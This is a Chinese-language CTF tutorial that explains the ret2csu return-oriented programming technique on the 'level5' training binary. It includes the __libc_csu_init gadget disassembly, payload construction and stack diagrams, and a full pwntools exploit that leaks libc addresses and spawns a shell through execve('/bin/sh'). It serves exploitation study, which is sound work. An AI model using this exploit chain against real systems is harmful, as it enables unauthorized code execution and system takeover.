一、x64寄存器
在64位程序中,函数的前6各参数是通过寄存器传递的,可以看到rdi作为第一个参数,rsi作为第二个参数,rdx作为第三个参数,rcx作为第四个参数,r8作为第五个参数,r9作为第六个参数。也就是说在函数调用参数的时候会依次在六个寄存器中寻找,如果参数多余6个,那么就需要在栈中寻找。
63 31 15 7 0
-----------------------------------------------------------------------------
| %rax | %eax | %ax | %a1 |返回值
+---------------------------------------------------------------------------+
| %rbx | %ebx | %bx | %b1 |被调用者保存
+---------------------------------------------------------------------------+
| %rcx | %ecx | %cx | %c1 |第4个参数
+---------------------------------------------------------------------------+
| %rdx | %edx | %dx | %d1 |第3个参数
+---------------------------------------------------------------------------+
| %rsi | %esi | %si | %si1 |第2个参数
+---------------------------------------------------------------------------+
| %rdi | %edi | %di | %di1 |第1个参数
+---------------------------------------------------------------------------+
| %rbp | %ebp | %bp | %bp1 |被调用者保存
+---------------------------------------------------------------------------+
| %rsp | %esp | %sp | %sp1 |栈指针
+---------------------------------------------------------------------------+
| %r8 | %e8d | %r8w | %r8b |第5个参数
+---------------------------------------------------------------------------+
| %r9 | %e9d | %r9w | %r9b |第6个参数
+---------------------------------------------------------------------------+
| %r10 | %e10d | %r10w | %r10b |调用者保存
+---------------------------------------------------------------------------+
| %r11 | %e11d | %r11w | %r11b |调用者保存
+---------------------------------------------------------------------------+
| %r12 | %e12d | %r12w | %r12b |被调用者保存
+---------------------------------------------------------------------------+
| %r13 | %e13d | %r13w | %r13b |被调用者保存
+---------------------------------------------------------------------------+
| %r14 | %e14d | %r14w | %r14b |被调用者保存
+---------------------------------------------------------------------------+
| %r15 | %e15d | %r15w | %r15b |被调用者保存
+---------------------------------------------------------------------------+
二、libc_csu_init以及gadget
既然参数存放在寄存器中,那么如果想要对寄存器操作有两种方法,一种是在栈中部署shellcode控制寄存器的pop操作,但是如果开启了NX保护的话就无法在栈中进行插入shellcode操作。另外一种方法就是利用gadget
做完这个例子你会更加了解gadget的含义,gadget其实本质上就是程序本身或者libc中存在的一些汇编指令,比如pop ebx,pop eax等,每一条指令对应着一段地址,那么将这些gadget地址部署到栈中,在sp指针指向该gadget地址的时候发现这个地址里面是一条指令而不是一个数据,那么esp就会将该地址弹给ip指针,ip指针会执行该地址内存放的汇编指令,这样就完成了对寄存器的操作
ret2csu这种方法就是利用了x64下的__libc_csu_init函数中的gadget,也就是这个函数中的汇编指令。这个函数是用来对libc进行初始化操作的,一般的程序都会调用libc里面的函数,那么一旦掉用libc里面的函数就必须经过libc初始化的步骤,那么 libc_csu_init函数就一定存在
下面通过蒸米的一步一步学 ROP 之 linux_x64 篇中 level5 这道题来进行讲解,首先通过ida查找一下__libc_csu _init函数的位置(不同版本的libc的函数位置以及函数中的汇编指令会不一样)
.text:00000000004005A0 ; void _libc_csu_init(void)
.text:00000000004005A0 public __libc_csu_init
.text:00000000004005A0 __libc_csu_init proc near ; DATA XREF: _start+16o
.text:00000000004005A0
.text:00000000004005A0 var_30 = qword ptr -30h
.text:00000000004005A0 var_28 = qword ptr -28h
.text:00000000004005A0 var_20 = qword ptr -20h
.text:00000000004005A0 var_18 = qword ptr -18h
.text:00000000004005A0 var_10 = qword ptr -10h
.text:00000000004005A0 var_8 = qword ptr -8
.text:00000000004005A0
.text:00000000004005A0 mov [rsp+var_28], rbp
.text:00000000004005A5 mov [rsp+var_20], r12
.text:00000000004005AA lea rbp, cs:600E24h
.text:00000000004005B1 lea r12, cs:600E24h
.text:00000000004005B8 mov [rsp+var_18], r13
.text:00000000004005BD mov [rsp+var_10], r14
.text:00000000004005C2 mov [rsp+var_8], r15
.text:00000000004005C7 mov [rsp+var_30], rbx
.text:00000000004005CC sub rsp, 38h
.text:00000000004005D0 sub rbp, r12
.text:00000000004005D3 mov r13d, edi
.text:00000000004005D6 mov r14, rsi
.text:00000000004005D9 sar rbp, 3
.text:00000000004005DD mov r15, rdx
.text:00000000004005E0 call _init_proc
.text:00000000004005E5 test rbp, rbp
.text:00000000004005E8 jz short loc_400606
.text:00000000004005EA xor ebx, ebx
.text:00000000004005EC nop dword ptr [rax+00h]
.text:00000000004005F0
.text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64j
.text:00000000004005F0 mov rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d
.text:00000000004005F9 call qword ptr [r12+rbx*8]
.text:00000000004005FD add rbx, 1
.text:0000000000400601 cmp rbx, rbp
.text:0000000000400604 jnz short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48j
.text:0000000000400606 mov rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn
.text:0000000000400628 __libc_csu_init endp
如何选取合适gadget呢?首先你要根据你需要控制的寄存器来进行选择,比如在开启NX保护的情况下,只需要将rdx寄存器中的值交给r15寄存器这样一步操作,那么就可以将0x00000000004005DD这个地址通过gets、read、strcpy等函数部署到栈中。
在__libc_csu_init函数中经常利用的有如下几点:
- 从0x0000000000400606到0x0000000000400628这段地址,可以利用栈溢出构造栈上数据来控制rbx、rbp、r12、r13、r14、r15 寄存器的数据,并且最后还有ret的返回操作,可以通过溢出将ret原有的地址覆盖成我们想要跳转的地址
- 从0x00000000004005F0到0x00000000004005F9这段地址,可以将r15中的值赋给rdx,将r14中的值赋给rsi,将r13中的值赋给edi(其实这里赋给的是rdi的低32位,高32位寄存器的值为0,所以可以达到控制rdi的目的,但是只能控制低32位),这三个寄存器就是0x64函数调用中的前三个参数,如果需要用到含有三个参数的函数的时候,那么这一段gadget就很有用,最后又一个call命令,call命令指向的地址是由r12寄存器和rbx寄存器联合控制的,那么可以通过控制r12和rbx来call到我们想要到达的地址
- 从0x00000000004005FD到0x0000000000400604这段地址,可以控制rbx和rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_4005F0,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1
这个部分在下面的构造payload环节中需要用到,如果payload构造看不懂,回到这里将上面的三点手动抄写20+遍,抄到你理解为止
三、ret2csu
题目路径:
hollk@ubuntu:~/ctf-challenges/pwn/stackoverflow/zhengmin1989-ROP_STEP_BY_ST4f8b5/linux_x64/5/level5
C代码
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
首先使用checksec查看一下程序的保护机制
$ checksec level5
[*] '/home/hollk/ctf-challenges/pwn/stackoverflow/zhengmin1989-ROP_STEP_BY_STEP-e34f8b5/linux_x64/5/level5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
检查后发现64位程序,NX保护开启,所以不能再栈中添加shellcode或者进行跳转实现,IDA查看一下程序
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-80h]@1
return read(0, &buf, 0x200uLL);
}
发现存在read函数,read函数不会检查输入的字符串长度,所以可以进行溢出。可以看到buf变量距离sp指针0h个字节,也就是说buf变量的起始地址就是sp地址。buf变量距离bp指针80h,也就是说整个可控制的栈空间就是buf变量的起始地址到ebp的地址0x80个字节,因为是64位程序,所以后面在saved bp的位置还有8个字节,那么从变量的起始位置到ret返回有0x80+8个字节
通过ida检查程序并没有发现system函数和/bin/sh字符串,二者都需要自己构造(system函数不起效果的话可以使用execve来获取shell)
构造exp思路如下:
- 利用LibcSearcher工具找到write函数got表地址、read函数got表地址、bss段地址和main函数地址
- 利用栈溢出执行libc_csu_init函数中的gadget,部署write函数参数并通过write函数got表地址调用write函数打印自身的函数地址,最后重新执行main函数为接下来做准备
- 利用LibcSearcher工具获取对应的libc版本以及execve函数地址
- 再次利用栈溢出执行libc_csu_init函数中的gadget,通过read函数got表地址调用read函数向bss段写入execve函数地址以及/bin/sh字符串,并再次重新执行main函数为接下来做准备
- 利用栈溢出执行libc_csu_init函数中的gadget,执行写入bss段的execve(’/bin/sh’)
四、payload构造流程:
在构造exp之前需要将payload构造出来
首先使用0x80+8个字节填满栈空间至ret返回地址,然后进行覆盖
接下来通过调用write在got表中的地址来调用write函数,那么在构造write函数的参数的时候就需要知道write函数的函数结构
ssize_t write (int fd, const void * buf, size_t count)
函数说明:write()会把参数buf所指的内存写入count个字节到参数放到所指的文件内,fd为文件描述符,fd为1时为标准输出
所以我们需要在寄存其中部署三个参数,并且在最后调用write在got表中的地址进而调用write函数打印出自身函数地址:
----------------------------------
| 寄存器和指令 | 存储数据 |
----------------------------------
| rdi | 1 | rdi存放第一参数,标准输出文件描述符:fd = 1
----------------------------------
| rsi | write_got | rsi存放第二参数,需要输出的内存地址:*buf = write_got
----------------------------------
| rdx | 8 | rdx存放第三参数,输出字节数:count = 8
----------------------------------
| call | write_got | call write_got调用write函数
----------------------------------
那么我们可以发现在libc_csu_init函数有可以进行寄存器之间赋值并且最后有调用的gadget
.text:00000000004005F0 mov rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d
.text:00000000004005F9 call qword ptr [r12+rbx*8]
可以通过这段gadget看出,如果想要在rdx、rsi和edi中部署参数,首先需要在r15中部署count,在r14中部署buf,在r13中部署fd。并且如果想要在最后使用call命令调用write_got地址,那么就需要对r12和rbx做出调整,如果将write_got地址部署在r12中,并且将0部署在rbx中,那么r12+rbx*8=write_got + 0*8=write_got,就可以达到call write_got的目的了,所以需要补充的条件如下
-----------------------------------
| 寄存器 | 存储数据 |
+---------------------------------+
| rbx | 0 |
+---------------------------------+
| r12 | write_got |
+---------------------------------+
| r13 | 1 |
+---------------------------------+
| r14 | write_got |
+---------------------------------+
| r15 | 8 |
-----------------------------------
那么我们可以发现在libc_csu_init函数有正好可以利用的gadget
.text:0000000000400606 mov rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn
可以看到在这段gadget的结尾,即0x0000000000400628位置为ret跳转,那么正好可以接到前面给第一、二、三参数寄存器赋值的gadget,即:(如果在这蒙蔽了,看一下最开始的长篇libc_csu_init函数汇编代码)
.text:00000000004005F0 mov rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d
.text:00000000004005F9 call qword ptr [r12+rbx*8]
.text:00000000004005FD add rbx, 1
.text:0000000000400601 cmp rbx, rbp
.text:0000000000400604 jnz short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48j
.text:0000000000400606 mov rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn
那么在ret位置(0x0000000000400628)就应该部署0x00000000004005F0这个地址,即赋值gadget的开头,好让接下来的参数赋值顺利进行
还有一点需要注意的是从0x0000000000400606到0x000000000040061F,给bx、bp、12、13、14、15寄存器赋值的时候都是使用sp指针偏移实现的,所以还需要考虑起始rbx赋值时rsp+38h+var_30后面加的var_30的值是多少,这个时候就需要使用edb进行动态调试了,结果如下
00000000:00400606 48 8b 5c 24 08 mov rbx, [rsp+8]
00000000:0040060b 48 8b 6c 24 10 mov rbp, [rsp+0x10]
00000000:00400610 4c 8b 6c 24 18 mov r12, [rsp+0x18]
00000000:00400615 4c 8b 74 24 20 mov r13, [rsp+0x20]
00000000:0040061a 4c 8b 7c 24 28 mov r14, [rsp+0x28]
00000000:0040061f 4c 8b 7c 24 30 mov r15, [rsp+0x30]
00000000:00400624 48 83 c4 38 add rsp, 0x38
00000000:00400628 c3 ret
所以可以看到是从rsp的下8个字节去赋值的,所以需要8个字节填满跳过的部分(注意!这个偏移不同版本的libc会有偏差,有些版本甚至没有偏移,请根据自身环境动态调试查看)
最后还需要重新调用main函数,为接下来的操作做准备。但发现第二次利用的gadget中并没有ret返回指令,所以只能使用最下面的ret做为main函数地址存放位置。中间就需要对rbp的值做处理,从0x00000000004005FD到0x0000000000400604这段地址,可以控制rbx和rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_4005F0,进而可以继续执行下面的汇编程序,所以我们将rbp的值设为1。我们可以看到在call指令后面的汇编指令中sp指针的位置并没有发生变化,都是使用偏移的方式进行数据交互的。最后的0x0000000000400624位置做了sp的平衡堆栈,把sp指针位置加了0x38个字节,最后才是ret返回地址,还需要使用0x38个字节来进行填充,最后在ret返回指令处部署main函数地址
下面是所有寄存器存放内容
-----------------------------------
| 寄存器 | 存储数据 |
+---------------------------------+
| rbx | 0 |
+---------------------------------+
| rbp | 1 |
+---------------------------------+
| r12 | write_got |
+---------------------------------+
| r13 | 1 |
+---------------------------------+
| r14 | write_got |
+---------------------------------+
| r15 | 8 |
-----------------------------------
那么payload的组合方式就是:
payload = 'hollkdig' * 17 #0x80+8个字符
+= p64(csu_behind_gadget)
+= p64(0) + p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8)
+= p64(csu_front_gadget)
+= 'hollkdig' * 7 #0x38个字符
+= main_addr
后面的read函数布局和调用execve函数与write函数的payload布局相同
- read函数阶段是将bss段地址作为参数,向bss段首地址写execve函数地址以及/bin/sh字符串
read函数结构:ssize_t read(int fd, void * buf, size_t count) - 调用execve函数阶段是将bss首地址(execve函数地址)和bss+8,即首地址的下8位地址(/bin/sh字符串)作为参数,只用到两个参数,所以只需要对r12和r13两个寄存器赋值,其他的寄存器都可以使用0占位
五、EXP
from pwn import *
from LibcSearcher import *
level5 = ELF('./level5')
sh = process('./level5')
write_got = level5.got['write'] #获取write函数的got地址
read_got = level5.got['read'] #获取read函数的got地址
main_addr = level5.symbols['main'] #获取main函数的函数地址
bss_base = level5.bss() #获取bss段地址
csu_front_gadget = 0x00000000004005F0
#_libc_csu_init函数中位置靠前的gadget,即向rdi、rsi、rdx寄存器mov的gadget
csu_behind_gadget = 0x0000000000400606
#_libc_csu_init函数中位置靠后的gadget,即pop rbx、rbp、r12、r13、r14、r15寄存器的gadget
#自定义csu函数,方便每一次构造payload
def csu(fill, rbx, rbp, r12, r13, r14, r15, main):
#fill为填充sp指针偏移造成8字节空缺
#rbx, rbp, r12, r13, r14, r15皆为pop参数
#main为main函数地址
payload = 'hollkdig' * 17 #0x80+8个字节填满栈空间至ret返回指令
payload += p64(csu_behind_gadget)
payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_gadget)
payload += 'hollkdig' * 7 #0x38个字节填充平衡堆栈造成的空缺
payload += p64(main)
sh.send(payload) #发送payload
sleep(1) #暂停等待接收
sh.recvuntil('Hello, World\n')
#write函数布局打印write函数地址并返回main函数
csu(0,0, 1, write_got, 1, write_got, 8, main_addr)
write_addr = u64(sh.recv(8)) #接收write函数地址
libc = LibcSearcher('write', write_addr) #LibcSearcher查找libc版本
libc_base = write_addr - libc.dump('write') #计算该版本libc基地址
execve_addr = libc_base + libc.dump('execve') #查找该版本libc execve函数地址
log.success('execve_addr ' + hex(execve_addr))
sh.recvuntil('Hello, World\n')
#read函数布局,将execve函数地址和/bin/sh字符串写进bss段首地址
csu(0,0, 1, read_got, 0, bss_base, 16, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')
sh.recvuntil('Hello, World\n')
#调用bss段中的execve('/bin/sh')
csu(0,0, 1, bss_base, bss_base+8, 0, 0, main_addr)
sh.interactive()
六、payload在栈中布局
Payload1:
+---------------------------+
| main_addr | 覆盖behind_gadget后的ret重新执行main
------+---------------------------+
^ | hollkdig | hollkdig填充堆栈平衡造成的空缺
| + hollkdig + hollkdig填充堆栈平衡造成的空缺
0x38 | ........ | hollkdig填充堆栈平衡造成的空缺
| + hollkdig + hollkdig填充堆栈平衡造成的空缺
v | hollkdig | hollkdig填充堆栈平衡造成的空缺
------+---------------------------+
| csu_front_gadgwt | 覆盖原ret返回位置,调用front_gadget
+---------------------------+
| 00000008 | 放置在r15中,作为write函数的count参数
+---------------------------+
| write_got | 放置在r14中,作为write函数的buf参数
+---------------------------+
| 00000001 | 放置在r13中,作为write函数的fd参数
+---------------------------+
| write_got | 放置在r12中,作为call的执行函数
+---------------------------+
| 00000001 | 放置在rbp中,使front_gadget后继续执行
+---------------------------+
| 00000000 | 0放置在rbx中,使得call write函数可行
+---------------------------+
| 00000000 | 八个0填充sp指针偏移造成的空缺
+---------------------------+
| csu_behind_gadget | 覆盖原ret返回位置,调用behind_gadget
+---------------------------+
| hollkdig | hollkdig覆盖原saved ebp位置
ebp--->+---------------------------+
| hollkdig | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
| ........ | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
buf终止位置,ebp-0x80-->+----------------------------+
Payload2:
+---------------------------+
| main_addr | 覆盖behind_gadget后的ret重新执行main
------+---------------------------+
^ | hollkdig | hollkdig填充堆栈平衡造成的空缺
| + hollkdig + hollkdig填充堆栈平衡造成的空缺
0x38 | ........ | hollkdig填充堆栈平衡造成的空缺
| + hollkdig + hollkdig填充堆栈平衡造成的空缺
v | hollkdig | hollkdig填充堆栈平衡造成的空缺
------+---------------------------+
| csu_front_gadgwt | 覆盖原ret返回位置,调用front_gadget
+---------------------------+
| 00000008 | 放置在r15中,作为read函数的count参数
+---------------------------+
| bss_addr | 放置在r14中,作为read函数的buf参数
+---------------------------+
| 00000001 | 放置在r13中,作为read函数的fd参数
+---------------------------+
| read_got | 放置在r12中,作为call的执行函数
+---------------------------+
| 00000001 | 放置在rbp中,使front_gadget后继续执行
+---------------------------+
| 00000000 | 0放置在rbx中,使得call read函数可行
+---------------------------+
| 00000000 | 八个0填充sp指针偏移造成的空缺
+---------------------------+
| csu_behind_gadget | 覆盖原ret返回位置,调用behind_gadget
+---------------------------+
| hollkdig | hollkdig覆盖原saved ebp位置
ebp--->+---------------------------+
| hollkdig | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
| ........ | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
buf终止位置,ebp-0x80-->+----------------------------+
Payload3:
+---------------------------+
| 00000000 | 占位
+---------------------------+
| 00000000 | 占位
+---------------------------+
| bss_addr+8 | /bin/sh放置在r13中,作为exe函数的参数
+---------------------------+
| bss_addr | exe函数放置在r12中,作为call的执行函数
+---------------------------+
| 00000001 | 占位
+---------------------------+
| 00000000 | 占位
+---------------------------+
| 00000000 | 八个0填充sp指针偏移造成的空缺
+---------------------------+
| csu_behind_gadget | 覆盖原ret返回位置,调用behind_gadget
+---------------------------+
| hollkdig | hollkdig覆盖原saved ebp位置
ebp--->+---------------------------+
| hollkdig | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
| ........ | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
| hollkdig | hollkdig占位填满栈空间
buf终止位置,ebp-0x80-->+----------------------------+